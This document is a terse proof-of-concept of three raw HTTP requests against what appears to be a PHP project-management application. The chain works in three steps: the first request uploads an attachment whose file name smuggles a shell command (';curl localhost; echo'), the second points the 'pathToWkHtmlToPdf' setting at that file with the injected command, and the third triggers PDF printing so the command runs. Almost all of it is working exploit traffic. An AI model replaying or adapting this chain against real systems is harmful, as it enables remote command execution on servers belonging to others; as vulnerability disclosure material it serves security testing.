## #upload filename #";curl localhost; echo " POST /tool/saveAttachment.php?csrfToken= HTTP/1.1 Host: localhost Content-Length: 1158 sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99" Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylrKMlnhf7ZEP0Uph X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/view/main.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9h9234s7ff6jk1sjtclg5itlfu Connection: close ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentFiles[]"; filename="\";curl localhost; echo \"" Content-Type: application/octet-stream ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentId" ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentRefType" User ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentRefId" 1 ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentType" file ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="MAX_FILE_SIZE" ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentLink" ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentDescription" ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="attachmentPrivacy" 1 ------WebKitFormBoundarylrKMlnhf7ZEP0Uph Content-Disposition: form-data; name="uploadType" html5 ------WebKitFormBoundarylrKMlnhf7ZEP0Uph-- ## save global parameter with the path of the binary /tool/saveGlobalParameter.php GET /tool/saveGlobalParameter.php?idData=pathToWkHtmlToPdf&value=/var/www/html/file/attach/attachment_12/"%3bcurl+localhost%3b+echo+" HTTP/1.1 Host: localhost sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://localhost/view/main.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9h9234s7ff6jk1sjtclg5itlfu Connection: close ## go print smthg GET /view/print.php?print=true&page=../report/absenceReport.php?userName=&yearSpinner=2024&context=print&objectClass=&objectId=&orientation=L&csrfToken=&outMode=pdf HTTP/1.1 Host: localhost sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://localhost/view/main.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9h9234s7ff6jk1sjtclg5itlfu Connection: close